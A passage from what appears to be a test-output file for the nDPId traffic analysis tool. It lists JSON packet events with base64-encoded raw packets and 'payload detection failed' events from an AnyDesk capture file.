lPJVYHHH0c6tphXpzo9IaXhRYl5jUjLpd+fyekPMwisb6RaPBi69JFbivmKji+uTbHtuGHay1+gyEuqyPMXi827BRTDe+YnMHMnLwR3wSTRhTuWItOdcymbRdKpwmcWyNtWO7Nw53A0XfTGonwBb3byBbbCZSpheuWz4B3AhjO+hujL5Xc4zFNNlAS9QSSvXHFfrmODsupj40Fpj1Ttc2zvqnmJsrFCFKRpTvoDagmk7gQUn7PTSAz42epds4PodMWfsTFDqecYkB85t3x+XT6mqUM1OEZ0I8KcJF6b6zIrHkNPjYSGSoZenMFEyV\/vBgCx9jeJqsPfdgULktLH6EZgduq+IPq3Rj6\/3B9ywgQq3YpfXR7ngxSzrCqDXvPcrqKqkIU1ot5QUac9a3mssKEbUql+EomkzWlyHIlp+t58NFl1loNf7Ur3+IaYFeHIcPcqyY95bYZu+lEvbIugVJY2670BOuNJX2\/1mToSTqdykMPGndkPdAseH2bwGhkFyO6Y0xKo4w9c3fLXAr6s35T6rJ25xn7EQ742S4YhdGtf2WeVpid4dtUBWA1lD7RUFNDQKjDdX0bVJAFFYCEdZ9\/3XmCMsFj7e8uhWOi4\/z\/uZY4jJsDig7rBmg5SqU2qBE5ld5h1uXH6umo6pXA21N8OUmWa9X+Z0x6cafSOt6e\/cVGmZD2kA\/cBFLsVriI78cZaFT7e7iq5rZwS3dBSmyb6qZUvYte4WiZrsnprqaln6ZrPlQsKmEMMfjlTPEW9qqlhS6Jk9A\/smqB5CmrW0kzDtDakT5zPzQvOAzDU\/OrWooGVEVFjWZJZqieJRsAF8BQ2kmodceX77itesMTB6JiKkml04E0xd3Qj1DEXdUUtB1cpu8e7hyHpVdqvGah48RFqJgWMFeMtFlVTYI9Oj+21xFkiPfPYDGK\/lWQ5wDI0DhWiVZHIpumpLiLfNLhUP6eZsD2GGPFIl0WexRNtD4fQPd0y0kKjpXd+qRLl+mF2CWziYNIxZ8cVTQnjxW6Eta2B3wmlDcirOm4us0xSqQxx1GEJYKi44o9\/WKlSXX\/\/kUPjs8nfF0kWrVLvzA0W77ZoZXUJkNdoM+eqsayzvvvvpHFDSyP5muY7jGbJE+mHB+J0mOLnlTsKbcdgkURAArvKwiPa3f7vUQcDaoPLDFAMwOBCkOoRtYnP8HCmNu4LM1hjTh7T3Ee0uFNr+6X7VOC4ZS+73hJr987+UZ\/yu9tKMT6KDxHRzkhDxKJDyETKrEOLWkILV4HD7q0YSQxkLPsQcaGW3meimj4XFSWLKZjgqbibbtT4yMRgzt40RWNIifawrpH+oLkQQIgcRQa\/S+YNgi\/Tw1JrP0hd8MoegHiEGYc1Tw5LfKeBg8EzaGpQwLbVVqTKtJoioUlfGW8rVxJOsHOLATMh35b2U5IAR7XrkcLsO\/iJ2p\/Adhp2OM\/eDIWnTKOCUz7fLYPBsALuZ7\/1TW6LIrCt60cluB0HJfDX71fC+vbqjLTYLvyb+ETZ0nCpyQH0V+ccSTgV3c4HaRw0pZi8gl1PKiuqIobYRGZr64mnXOi4DdXE4s7PRZ1NmRXLimtndxp8y3p0P1khl4c3y7IIpyoKJKxsvvIiC+tJIusKzVo7RNf138H6zL6L74KP+LTaW4\/+3CCVNQHy5X0Skxf212pHfOwwxlYyVXL3vNnbEyCX7dlPl5gU2ll3JsPwOX7Jm16gmJQUu98bWU7cErtp9UpSR12xowqRDsRdcI37g1QzlxRLGaKYpsS5yck\/iduDGhbn9YXt4se\/IvqI5L71pp\/qY2cPGt6fh4IAEUU3qksFSlTakkfUfu3GR9Pc3jipmzaUAyUNq21L8159ECKphb+MqaObjEwqswHxB221CuVREoplULf6zsf7KBLWx9RiusDbceDTmCM2PEyu9uCWp65LB\/P6B+JhtcInT7xuuH91nSIXg9Ll2SD607v5oI6iQG91E5khqBBrdGsFb6kbuFGzL7r27Cjs+LGr5xvCQ9IOcimPiHi+z+x2hRshBs3\/vRKclwmd+1BjMdSWEJpvWQTkcU8D5Kx8CUgf5nWxm3z2qyiF8T0UaTyUNzxEVh+jR20vMtCKFCefN9ZJDx9QitNEwI1pngNShoa6ctySAiC0+l4Y\/UNOlTbR3wCg2KHyczR6zHvW1S\/rjWMUQ8d\/MGfdbpsVEQ9CTAYHzwA4E9fRRlQOmzGVd1spz0TsVSCY92yJz9AHT3v\/fpeO6E\/1rIFhLEfJkw3Ci5mnVcVaHk9A0cG1W\/11SQfnGXujabxvk0DoaHJz4hSMVsyglvbq\/wRIMVo9fYIeWjclaZx\/xpE55h0vIFuDWpMudrpUAmQLJIZuvMbyxGWj7CPzKKmxnd5mRdJLsjgvvawO3TI6twZeWkBqTZLhUYoyk9IpBRjFbk1GZqUIjqIkwAvRLBceWcaLwwzi01tLcn5CG8qZfCN7pNHcU\/HQEa7ykjnS9gsCKCMqlL+xA3UErujB0JkM6veYZnVBvZcK44qN1L42PN3PE07bous5STW8HWAkoXzCl70iQuu4c2+gDQUy5hNpWwcE\/o3c+eYe9GpBvvVreW0b\/pKaXB1ds0W6WEpJ0WHIv63JqiU2CpKIK082TA7aLSORxWtpi9Kv2sqnYqiqmCuSC01OcfJweEEXeRKh2FRibyI8xEPEauXYTwC8OTtieNms4GRHAoqUsBjPMvgjqu0fw78ZFgyXhB3TgQPR422IlLaowQ\/16eULeO4D2Pb3lRUXbPP2zWvLv2AXwi0ULFQjDGkKawEQYK9XMdivCDNgXF0fkmx0oT7FgqV\/6JwlaF8kDUCATSW2yP4d0EpkfZgUNPXFQIDJQhOAUOLTy4TKAhA5D8096M0rwCSAoVmZ0BD81+d8+viVdb3WlfJKgb0RISlFS0nJXZdsASfN0irg0sDLbyW5xhcWtuUIli652qjpAFSVW1Bw\/O39v7A7MsDpqcDROrii4D3SgwIP4EO\/pTK+FySFV9pBrzPE0IQ\/S1gmjnWGyToYH3sDgAT6ohm4Ux1Hs\/G\/2Ux9DNBJtNUQi6wCVVhBU1YANPA8mLnS53\/upvxiS7y\/PcDJ+hLJDD9rDPxFGYJmDIHl2VNoiwHhlqy1\/6\/VsjWdnEzoOwqC6kS4zTWYJTIx7pTYBdamKEIBuTw\/cTJG7NrPLDS9k+fsUcdq6yYwqB4posLbTvWbIr\/HDSKPGXhss\/JeIOjSrFtw6MvxNNl7rT6tlCug6vciW4MNf50XwY6VFK9\/fvgtFKhCWP4ivNIc4JiqhkvYYBnLeMMpBpczO7VWIfbeA9gQ1iNUsqEevEg0lOLjf4I9IIDe4CxT9\/TFUhz13hgBDM2F+W3n5+WENSwWKwMHH4Imrd2imtHD6GjhoKbEygWTDGWEUsBKhNskGOuISbbKne4xGkZMolqnhMVHkhr5z0038VeqLu53m\/O7FlMFIlvGNAjmrLSlXZvPrvmL+0Ek0nflONFuhsbXNgS8sb3uxXLegU07dK+HRqiOgT69wuPW3nzYnLynCRvsrBjGmfHQ88TjvhF2CvrFyw+KaE6uqYgOCiFqYpHEPg1M3L3SmNbyOEhLPEg8duQITt6vpLepOdUmsg2A294zYaa3qmLInNucE28\/hL4\/1YVoht5SHW5aR4Twjrrk7dJdJEiAQMw3FHqQpcvg27YRzrJzvmD8v9PGgmgAO9GHoAnClQlU8OooZAkmQRdM94HhT6lIppwKHmTdqZj1xba0LqeoooiBHbYlgRX\/+uzWa354el8+wGOVw2+7aKJdezlN+wfEb\/EgY9CRMEfRqSKWill7i6BcxwuOpeYII7pZYAKImHJ8qmeQsKQLqc+hZyIHFd513MIza\/3ulyFz96RuBY+++N1XIcOpWxsevjJNG5+Rs0jgsKDZnxSm1ar6xFv46lF9+drvxwSr32NrlRZU3xazklrwKaVJL1NORPqLn+qtK6RMzOLVt39bHFcosNX6+6gKFcl4aMqx\/H9a7GO6ZP7vxh0DxFq1cTAqKDDVMCGEyTkJdA9W2Gi4l+Xhw11Kz+Czfuj50cLCFbz7yQS7SvDRrVyigiPE4pPaURa2qu+QC45\/inykXn2SAjdbNATsfBCXdcTgNJefz9ussLRDJGr9cLn2LxnIipnrMkTSlLg6expB95RMvX7zp8Zn5MsPdsJuf1sHG407gHZaMj1LoCIe87ViZxdbTGo39VtCq6mM9Lnn6dbJ8InfpEoc+pT+HQROPmx5jtRR6IDdS02OzPvbfDTHcMZKqxWX41PKVK++UDEPy6ouIZ2+8auBM3\/32TFihlCcUJOi6Y60dC752K6St4\/opT\/qt\/a50R\/alu9qcf8+M9V58Ique7TzyrmXK1+T90rclojGDQiSPsGhJnHaUHnDXhrZU6PkWQJ+IocYxmz0ANDiYvpqFgKUfwcfREEaufMktorb9dKkaVtaL7AyQ+6XYrvxd7eYHFHp2B0NrdkCTSh6T491ucV3uVeCPuWrkJ6cETUMIrJQP8zYSMdk\/dadYTRKW\/rH7jow8hAllyhCSyfgfy1skZ7dtM+a4JkGd2VYZbOV42w=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":998,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04890{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1000,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":390855,"pkt_caplen":3385,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3385,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAey1AAIAGAADAqAG7wKgBstOUG56PIQXNWcQneVAYIA+ExAAAFwMDDP5Z4hNO+msVie+2jhjsvS93NvXcYkJ5dnMv1BBn4Re0LV2r\/ES\/WFeLwdk43dvSJaJkBGxPtzP\/J30FxytZzgCvkQrRr3IFaBOOeD7p5EwnvaXFZMgsIMW7C9YYe42ZAZBQpk5X8WFu6TbAEc+LmHtccqx387spP6QhMpZPkE866sIusN5LxUiaGYSbXaTmK0z3adVCR5jwtTRHZ\/URYjhVvoRmYnLEp9MDrxOgLC2mK3pm5L+Z3rgZCdTNNnBMVKmQ0LY\/pNazvHzgmezEzvaujbIRPRs\/lCOj1E9xRk4Sqc3UbMrsf7kJOUm8U+suqdLrIZdtU4WWtY8QQOsDjhhGX9xCoBr9MDKUorOGrXACePxb770yYQ8hnLQnXkw8JQwbW6N0TecQO+WRApXwhIEkLfSq\/1B3Rh0T0sp79pXtLd5YIRLeeqmwczlYGpcVrvq8vjGem9j0voWNYfrQZ6iG\/XuEHlDYjjlJx6I59e7Z5sltCeVkUE3oVzgngBMQDgTyaer3azpgCg7f5qBZKzSbbJWlrV7h6w3iR7lTjeOQn9jh4NXdms0DuOv1bb8TL3PTkpYJIYwTJSWrKWcVVyAUCNjBe0Ui3hM+0RGAvb6jVMyQQW702xKdCWiUl7PHhuuCaKF+h+mqVsFmLfTIlMgL3GUt6l20pWbjph+LkUm3fobYb\/b0YHenYlXeSBqrvqmHS\/7C6AU6ht6dazaIXK+FPSaFSvIdTw7Lw5heyIKJFts\/qlhRrOtvcvAelBY9m5CCljJp4rOnxSnnH1g7RCgF5aafp4Pz5J9Iz5BLnPKeTecScjU3ryVRpattdfiZ8ycLtWiVnXyaxQKKF3BwYW8wA4\/JRw4BLHcs1SQfJUWvyWcMUM1wXFlfpyCYdJWNHRN8RD5f05qVDTpJEsDUZ4e5Z6tiuyTwCnjFlXKOzljLWLiwqP5\/1uFdeLTZTF835EMpQLRbDhx\/778pCE5r1rbRVKsLd8akecT9CETqsdfOOnSSSsyn9UpHrHV2tQ1NC3l0i8Nr\/V1WJzsOf4BOhAasIXjcNAC7h+GiHfjQcJxeaRoO4TaUnHDVtvirNpqH3UiRGH2sCSgygaweSzSrKecuE+dWrVN4RmsrNjm4Z+3DY77L7f\/pYShLVjnqhwExTX\/+pGDTEszo6d+XMMHrQ8EeGdQlzlh8qC0ZAgikXhgkkq8KI24R71Vrlbtg20UfFmzJowAPt2PWewKZa4YduqKEqulu9Of\/3EKCXhngJnNRVUY69t+aRoCjNryDZiKRwy4TQpwokXAFiH\/C8r\/pnL9eQSRZ\/5wMY5s7vVPrHDzV4s+SaT7zd0goRlKXb64NbAwH4tkkrphWx4NRhdE4HvxR8iQtDJLcjB88T0S+84XeWCKO3fVebSAix5CoLTNxwnrnyubdOQcJOkaZ+LTGMGqZPVSi\/BDJsJdq6dMgfNXmtfok9LaI+PIztRISvG6tT0qmTTL\/A+m8sdqRj\/fepj+FWk8w9kztAwRXTtzcs8JEV7jfPZOeF\/JqQ02kYz9V098YsjoqN0xI\/wJyXc7Rr4lxwy3gIkfMwI5b8pPNx7Nqr829TKCsaD69bRBqLNNW2C6jzqnImouVd4FQ61Upe4KBWGGcDohOSklugHgtEnrcnQqOWd6+56RdHglnSKb9C6LIIv+HvVRP918cLmeDg\/zzlPUKr2zqL2Pr2SNKPgJJ9HPAkLD\/ip5gt8mUwp4j67CU6hQ15pnQclx82MLeTIstgv8UVWa7a\/ymUhxE6Y5iEaadaq1TgwWuhQ9vFihrETj1PKcC7RB0Wm3cTYWOsDQd9sendT+B5DyOkfxKH1O\/HVjhwAMIbV9ewxp0G3GiX\/\/hS5dLoqgAFal6zAY2i8gcExFoh+4kMiFZotYHIMOMyblp+pEr4Q2q28eHRWDvfOL2Ogv7y9vtapERIGzP6FdH5u0izmZmiyTZvn6SYhWZq8nfDAzyOog0EzKIwZMLlMo6y2prNGvNyjWx9S2JRadaIRGtclcqBIX0jJZb9DNHph2B+8ZUpepXVWUDWvLvBET7zZCR6ebHcDngSp+dKbHg7r0OW+Od0jaB1OYiaxQIAx4Lj0CtXYWKYpOjgAWo4jEOja2Tk554w1ZMt7uQTRJbK9dNreVXOtaBakey5iuWzoc32ojrhXrgM+VCgzNLLaRtMbn9pED\/Nb\/F16lZlSrvtkLzWxXPCXsJpnBBnM6zMhs5uctiHk3qimuQHWJ\/sWMk2AxpW1jw0ljcPmvCRqW7h0455EgrddSDkVuXHx1q491WpZcrnte7qR1cH8xnv7dBHDPBAekH1cD+T2Y4YYFKiNN0rbJTuXU\/1Yn+qkLe39NKi\/p7oRi+GtLsILmJtYGsWGDUl7woeCatg1PgfChGUPfp27Vp3qk\/VakHBoLa9O6pjdu5sEF1qSOAJfk3ub\/6Y8e1euJB2ysZfYuTrnA\/P2s31TBFX5KUUHrF7hfYl7zIa++XluOWPzvsifqG23zfUscLX4\/QpUio5XbcjKDgEKDSzGNs5uJ\/1e6Fx\/XDRDvIH3uKJHs6H+QPpfg3FbIN75XLCnspa30rNReW\/MuSeBe7C+v3uiz0+t2rtWotoggAj0MuFIcowUw2B1+BZdL5J+rmCbIBGxbl3TviCDu\/E+bqy09FITE7j\/bNO5YDNc97cZR2CekL2ciLu54jO0kpyC86Lfn2lkN+ueMk2zKkMIX5j\/RSDIkK2849TXrLGlpMpRYfRfa+0brO9Pbh34kITEetpNPcThxGTtJXpJbnoMQ3C8UQEe4pRiz59CKSfV9640Uk1PJdQ0DblLJJQ5YiIx+11N6i6UwWU\/n8FOEvTcuPZ7mP5aRj4rh718GL1J+L2P0cp20vwlHbqXWjffMOTRjWwhDii2kqSUD9zjeraqSCYjcxy5fGnwcjtAjO1dNk9dkGrDeyHApaP48e9SxgLW2QMgPUc5p1DT4Giq1K1F+Wt1wMzwKpF4eexJSXE35HSboOUeUrwIRZTetxep6faPw5PherarQdOkg5mpYLcZUMd3hLsWWfv\/+IQZ1jkJcz1kQXhCd\/JPmCcZv15SxG\/RXO5ZL6PlC\/jN0Hvn0aVWH5CPPZBoMbPyR5GSWOiUvO5GcVznCpIhNUZ5L\/imC8SVPilwflrd7g9i9g+sYcFYyZw\/+W6yZwEzAgMonCI\/AVJnJAy222PYxSmtFxwpT2dho5tgzFXZM6+nlG8Jn\/fmaob23CwAWcuEubCrrgnt7rS6ob9GLWLPZo2uNNXD6bRYZ2E0kxsEwtwVsecSfmyRZsItnaCdDW99rN1wJefFHr8JSuOyOEMv3oIUGoru+RYdOeJTRwMjtIKSHyudkO6IwrV3LuN9HV9zZH9UWf\/xDgT2X9\/e73n0PW5DjW54ky5g\/elikt85mbZtqBWv2MrmPyqLrEkzrDgjwOF5DmX9PaPyaYRzLqMWeZbskhrWZVe3B7qMVkmeWf6YJcPqwvkZlgituyczfJmhABxSOls7Ds3b8erPsaI8fMY+TVfs0Bpfx3lbXgb9Z7OOybhWVtA0Kh3tzpVAEkzURs\/sQC8KuX19xp4SqOTiGwqDcowXRutK\/Sbakv1Y30ETwO1E29jZ8o5Z7Q0aDi1jxZbfe9CXT2IqI0XiLqbypwd1slVe20P9sqaHb42CMJR\/Ph0TBZno4z6fW\/ps0QjVJCBp5v0SMe6wKsX1RS3kxfCRQxxb2N87LBGLNcZheoaLIyPu3cBBWz2KY\/ZWNhsWxcPc0bD4aLHW5n3O6KQATL0YE8CT5ounRInIIREpCI95aq+lxwQyMaALcp92jeLX4O88Tjf07FxGBO+mgg2TC+wqE0HKUNcOGZVzOhb7umLuPDk1hlIu2SaI6aXz9rEsQZU1ps+zNlYLoqD4fLefgpdoacNr2wA7hJXi+r4lhxRxyFx7pRJokVA+AoiTgyF2hQC4S5OH5ZigDNkwoVcOoiFtre1kqXEOXwZ6f8CEc+R1Xp7KaIsqV7jbiQoZAUU1MseFMsZdg55VmkoGIzp0+StovjPfrJqUdxKAdyUrCa1LfxZ\/E0KGy+X7zkXuPJiT72nyNC+XpJka3wIi4kdshHfrc8o0V5Zt+kMfyoEsOHg61abwnLTQmAaj+XZo65Zumocxk0GACN86j75epzg30Kq3\/RxJFw8A\/+vzqvyYGpZ3VnVX4SyZT1wRJHflY68TWm7u05fBBgkN2EcCE4Zdd20khgEraVPQGpuH1YOnHAFQ4WJT+6e7ZcWMqxhRL5+eljDdXYxdjYVyZ4+C98fCCAR2IetayK5AJymKPwYn116dQELRuvesYtb\/ohxRbtV6J43QicOex90TvavMt314l2euLWbWzTurneKFDEGJO6IoGSIFoLS9rkruqaFliYsLXUkrWy\/5JWrzYNkNvGXm95u+rI0UeO4EvG4BVr+GSrvqnAyg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1000,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3351} +02508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1011,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":415515,"pkt_caplen":1627,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1627,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe1FAAIAGAADAqAG7wKgBstOUG56PIRaQWcQn11AYIA+ExAAAFwMDBiBZ4hNO+msVi5YWUk+1x6jSZhRJu3BFIeXE9C8jImdEEbWLTRAl1gG53\/KFN9bNaZj0w3o7mCCcU6AT3X6DOHq3wS+WujD62YJU3+h2cLglZ+NiNHn0yzf1epyvlBV\/SeoybktYiftYY3nBtit1RdgZcp5fpk61LNhl8zIG3N2j7ZFHJj3Fg3bw8eYSgBo21Fwraw+vEPSPYD2omwYxaa5uL2OdsFxr9WSkKb4xxx\/FOUxkvj8WzD5s39vz5WRc18IpY5rTSzB6iH8BcGJ3e2DHTuVCEnP7m6qunmujuaeoRlRf4+qgOPbhExN9YBMmWvXbTN3pStJ0VkMpMw41avBA7jWcYe+Ft9YQ3MkNPU7b8ZoMhFnKM1k4xPTOFibCTUdS+BCzf3+RbykuFmUxhsnna3kUKx9Aog9kAfRE6CkvfV+\/kS44\/RcXFJ6A5MGMeBw7NY47wadIVgW8e0dodvQqg0FJ7VXsj5VoLcf\/s\/Dz4nYKXeqS0xo4K7xasGJdSf75V3JbiAKNuBhqQVGCdah8Smlfadb9N+iTaC1XsJPHe2HGU7ws511RlVUcqQ5SxSZ3fyX1MN135lhZZM7QsBYZL8y0aYw\/3EoII2y0f49bodu88V8x9A+XeuVeyJUN9s4+PEMk4oI2VsdAeQdzckoKKFVafjIL1nHUBg2Rqvwr2uAyyUp1hunniM0Lt7bmZnavyG+sJG0LL2X9isFTm4ZyJo\/cpCrQAvUj6NRKu4MyLzU80sswq2gHCxk+jqPKga1QPyk7gUqpBFI9jRjeWd+w4epXoLCgzQekeJSVOYbu8KhkV0PM5jDDCZxFnn1yn5w4DsL\/X3IpSyJMY00gF3VSqMKisqdE7WYoL08icALy5+7w4sDsog3pT388IfcVeoFDegvn27q1aZ27wXjpGBeMIcPiz9TUIfianGbN0kq4MKzDkMxZOjpIjrUwhpc8Bk5DrtQp256ybkY6MriX6RAT2fpruO10bcK07C7O9QpkvU1PHb3WNImTM5eq2mfw38Us\/zkfmV2iTdKtzSnK9LfS1uTEEd3Fm0udrMy2f+zGGjNh5pYQMopFc1VOAOYAp4RvdgJ+bBXUUpEns8YZMZoqZgfJ60+LpE8Sz3LF12++k9tOfbsz29ElQOJTkhXC8sXJfqnbLJ9MxWllgiUyXD4aBdkkNabTDr\/JNGWzkMGOn4DUrn2Ci5f\/qX3xuzCepPvG4GjV8UIbEA7DZ1VvUhlaQWnDD6f\/fqqlt9QEeKWWnlL4yFfimWwum7UaSsvLKILogbG11gqcnFQ++HR2lSHuQIzWn0Nxub7viHomZ5JuyWcb2i1GStaHxAobO1+QRjZTtGe3uoj67unZmq8ENlJy1oUb6YOp1ahJvSVjDpLv9DmRAMqo6LCK5XScoIFqqn9+CvYo16jRCZixIEDH1D1wVlIldpFYo0xPQbHIh0CZ0eqnF01RrJv\/OR\/WC2kSpuh\/ypPMuXeRo5A8kLN3VRdYx1PKCZsP\/4NZC8Ztpz5eMvzotHscYNLfil7SBqOawpWAk5HrOyyvBX2+PzqSDToVMMhtl\/yoWq2\/roAKxU7wQly7ZBhI\/ZV3UiaaTv\/GkY87Sl\/KY9D7fgU3DOn1xCijmyx2le8E0nY0JeqaK0qofRt2WZO\/qF3ZV7VuwKgavmB67+kFqFGHwTVRWg84s7Q0cvEuQdBbW8jCTSXrYzLxafAonXg9yGkStI5oMlKY\/MUvAZNYlgrtnp4W5fKwkWiJ2WaFLrQ1eQUIlt6SG0bDh+8S9gu0HeavhKxzWFtJ0h6FI4EYKLbhcxEBC9nF\/g9X\/lMl8ReMoRrVO\/K7WTejg6AvbRhhydL\/a8wOuCjna643gN05sm+2GKb1IzQ1NW9tjhEu3xNCAZ5J8eNwdxp+Sk0hT2K9rBgm6SRY86+pDMHlE1g16Drxq4GN7NLfsAQqbXawxo5zlb2sbRgUFYi9sF9rNpxdrN+CVqAJfQOUKWivPJ0tvd1uxds99rtWCYaMAKSg8Ft10KS3SzTSp\/AKXcInf1MF017\/IUp3tG3P2VJ8eYJ7Rq8A+sQtLVFsPB4Nk0yVJzTFnldD65ZvYF52dg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1011,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1593} +07801{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1015,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":416482,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe1pAAIAGAADAqAG7wKgBstOUG56PIRy1WcQoBlAYIA+ExAAAFwMDFXlZ4hNO+msVjLdufT21nGz0XPszv7PRCzmVTUdAjtxUr3dlOw2zcEbfem0ktJs8y\/8MfyDM+e8HIm2WFO1Nx6IKHihLvkzoSxfsP4u6kAxpuEX+y\/5utvgB4Tak\/CQRuXUgoaRZzOtl8PDE8F1GLCtwz9AWpb6S6lhY+KfBOOdxdSYCrOwarKmljmp2FuQ94Rmlvo2n3YyIh5SrZCKwRD3L0ah8kb8v7N8sYyMSAreSC2GfzJKiVzyEjTQ6rLCd8e4LNq5BB523N7lUiWN753qrIYwKpEq57nDCFMTEmBJZL6KHP3oh8epQoDJd269h+HAawi3UPyUDqDhAAz1ZTbY0G8pSI0T2Az+PY5wd1RAs5WERabwkE5SDU3wjiB7HeNY0XDUbPxOtJJr7PIolv2X\/LGQchPRQ4Zmv90mJBsEQlXiGBO3H5kaYB2kx+DAFgwT5szbgCE\/gWAhPhP3SCafGmUaQAHkjTPL9dQJnWs7ky0qjBrFMcSdTDY\/4g4Z\/bKAtHTiG9zBmqBq5XNeqL2nH+I7DCkUqe2+G0F89XVCkjGxtkmPAYw8Gt1bndBaM3nI5edipArdsOV8z5PvUvSyNcdlnsU401MDG4SyXeXoS0ap597ZWLQPaQ8pCVBMZC\/pec0Zds90O8hQ\/OcceS62lkzfoChGbrI0xT78PLOzJehf0T3dYIYTxqFlH+5MGGhYYfKbVVVZSsKW8JvcmpmBbxEEn9N3mGdBkpgxDNG5Vant0A+X1c2ZOyPSDhdXP9tBRr1PSqvWiD+Ser8\/4ueSBqG9KB61XjVEs4xEfGNk0jZd6kgcTLqcBEt3BkqTSVdD+WqfjvE6yDE5E8MoDCvld1V92GjhnK\/ObVYG7XSOtFRapWI\/buCF1ISG1DQkMDrK+wY5u2T+ikktEzSU6joxPxrSfoZM\/D31QRHj0N\/Xxnk7cl6q2fJwa+iSDQMhPr+0p67sEjBg396oug0ikEkbY0FPF\/ooVgDIjw0ebzGCXmSi+h6Fe20afLAhAzVZlTJwAhqvxaUWfoyJqQl\/qrnz4hx57vVQWOuMPpVPFlEfOanpVAsfWcEoGprulB9ZhPDPfJbtzQ+N3\/d\/tITI48C42lUjL6poFxo1E1h2\/NUlDnJytdytoSf3ANzWdjRCx+KNSa\/4b1j7nkyS98oNyQTpnM35PkQDCGhMH+dVrvhhKuc1nLb4yDn77iG41QfcPo02QBegG3nkjk9bKhBffJmGHSrD6C\/W6Wm4gLAx86Szukm4mVHbBHpVn81L60JD+QVMz0Pc1jokw+KDmAFkzj3k0KmHArQeHQidveelpule0bgosDVuntgzC+pUqYz68UuCGLd3j+8fWukEhGGHz10bkaEIZPgOC62\/+6HSZuCqZJ\/PPMSlSjD5fbda451qWDzU24BvoVA6d\/y45H32l9B9NASfbG6\/fZccRdsJWWyMTYUsmyOvUoRudDCaxhW7BjMUcpKtNMKowj+KB+6y2CURyHHtRcWd54Q84xjVpiO89x2ZYsaQOD2ds3ey7u9zjzLDPA7zgKDierhSVVT5jHSxY4Zawb5C2tLfkZ\/Zhr6QOnSpS5ayC9j2pvbOMrrdRTgQmYnLUVTK1Lo59NDDznmCs4n8b14JFIw0YkrwEimfnsRGi23bjPjlcAlk\/ZEsbHoZCp2h4XsuSyPzEF8lAY75jFO8JWPcpNT49BMop0lqzPV7w3mcZ8VW4douveNAoCr7Yb7\/HvzyaCdKfauG1RbNrdyOObVRP5Xt7kFq\/V07srPgMQYVkbsMeWvxSQjk8qNusl2noiEMqsOoTuFIVxaL9rKgydCwFfr+xIDFh28E73rpCMwG5mXd0ODohuW8S0IyS9EbODV8bfplzqR9Cy3YZSceHM6uZztAoXuVfOm9IYwPG3q0fuzEtxcb72Lr6DbJ7GorIjrGyr8JTmzzS6ht9lhpf6CqhavOr4BxKekU1HuaXiWSfoIQsrUS2jfxvl67E8VAwP5m1m7j9Jc8q8lJ6UWK\/93B4lOeEXjtKITj6l2OR1zbZ5Nj2egOqj0PHEuAi1UYgoJBsWNdQCNa1gEDwbb6jsG0yL2GdZ4\/VAzbsxmgv75ueA9Y\/FXzUGBTbzjobHy85MIeua097Mr7JgFF9cvSLFKr2y3znkXXW3rcJVQz63NfzIOKwGcrCr8YGMVYMWAlIhqiKXyCFIjBBHW8gsvzgQToatkqEfKCvntpEmQQfRgtEmrTrA4UteB1r7F1gE6Y0rsEOTnXFpVhGOvpiba1rgWUjOaMEWo+HjVW7M3GOVzL4cP2o+w\/PSC1inbn+cbyPF6ApFwlP9dvPM1TU57mI4o8T8m2D\/dkIExgmim7v60nX1qNawfOn5Zcxf1ej4H49gbiYH6JkOitnZNXLO9rjeJ7cUI1jp0tFkqI9\/nQZW6qKL45tCE4zliiFaiIpyRxDQcX9+Z3IiZrqTKWj\/0J6IlLOE\/kaY4HA2zIfoI2PPrWmpHVzrOICDlYqgSdwL1JxKEFsDpNFDrzlQUfw4pYU89yMPMMXw2wqOwWxJHhtSODzhFzzbYCOmMTsNGL3SMOnQmPrZ8hpivi6G3UZiLFiZGaR+o3Ql4w6CDBnlEtVvBkIfvh4O2PIsKFC1V7zPbpwrbIG0ULvk92eqricuLshoSeoQr7fDRA0ODG93AXvW9w5NMvMhMoCxXDzc6dN2KeFvtHULNU07boz98t1XdKV8k30TotvP+pAuRv7vBfcKrAlQWa33KTG1uzPaykoa8ze+ZOoOZMgKeHibfAArjDpWYNaW4Hw2FPFOeHr7lq3UbyoTwio3zj+humUjUvMCwxiXIURCrR19dMdEIIoyyr1RkJ0mFhkWIKoranOoSb6YwKyls+zykv6EH8K5xAjAugkkFg7V5Ow6e1NFpwrBNNU9ak7bFBodFntSRHV9sN3r0G8hxHqbc+KI5ryX9J7h2gJRLKXLJ0OOyVU5DX4N13rC7eJfGNoPOjJcfatVnWsbxSRhKMvuHfm3J6Mp1C08VWpBPHtG3T1j3nsXNngcC48MEhf528Xryf2558yKlrcOimmhBb871hI0xLf82P+6QDD2smJGvS\/1Wloe\/IxKamcC3aiht9EGS6OpLOCLQK+C8TMapccfRuqSu5j2BRuVx+YtEHdiitCYOmK\/WB37Vhd24wqyX2apxFUtjXRKBrn1WAUXjSS7HRhUYyRkT8ba8XkfmKHd0Rglmh76VkhtexrWhU1vZ3t2XKJ\/xF+QCCjmu5MrCKtDsnw+76cH\/JWhTyJuScII8z3xjuz58B8OhnXJaRndbQnIj9AJJuuGSXOsQe6+2kPoyYNnQAztaU20lQ1INgitMhpzy\/BV8lFDVLKRplq+vfnwcAgHskTJQAHg0